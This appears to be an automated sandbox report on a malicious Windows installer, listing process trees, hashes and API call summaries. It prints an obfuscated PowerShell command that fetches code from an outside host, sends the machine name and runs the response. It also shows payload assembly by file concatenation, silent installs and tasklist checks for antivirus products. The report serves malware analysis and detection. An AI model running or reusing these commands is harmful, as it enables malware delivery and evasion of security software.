Commandline:	cmd /c copy /b ..\Nt + ..\Sydney + ..\Nominations + ..\Colour + ..\Friend + ..\Compatible + ..\South + ..\Advice x
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:50:00
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com
Wow64 process (32bit):	true
Commandline:	Peas.com x
Imagebase:	0x270000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:50:00
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xfb0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:50:25
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:50:25
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:50:32
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe"
Imagebase:	0xb50000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 78%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:50:33
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp" /SL5="$60416,7785838,845824,C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe"
Imagebase:	0x80000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:50:34
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" /VERYSILENT
Imagebase:	0xb50000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:50:35
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp" /SL5="$70416,7785838,845824,C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" /VERYSILENT
Imagebase:	0x1d0000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:50:59
Start date:	05/01/2025
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff62ec80000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:50:59
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff6db160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff653ae0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff72e590000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff6db160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff653ae0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff72e590000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff6db160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff653ae0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:51:08
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff72e590000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff6db160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff653ae0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff72e590000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff6db160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff653ae0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff72e590000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff6db160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff653ae0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	13:51:09
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff72e590000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	13:51:13
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Imagebase:	0x400000
File size:	846'325'235 bytes
MD5 hash:	6A8860A8150021B2D5B9BB707DE4FA37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1525
Total number of Limit Nodes:	33

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

New install of "%s" to "%s", xrefs: 00405182
{, xrefs: 00405352
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

1C, xrefs: 00403B56
NCRC, xrefs: 0040397C
~nsu.tmp, xrefs: 00403AF7
Error launching installer, xrefs: 00403A7D
NSIS Error, xrefs: 004038E2
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
/D=, xrefs: 004039A6
SeShutdownPrivilege, xrefs: 00403C16

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53
@%F, xrefs: 0040682C
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
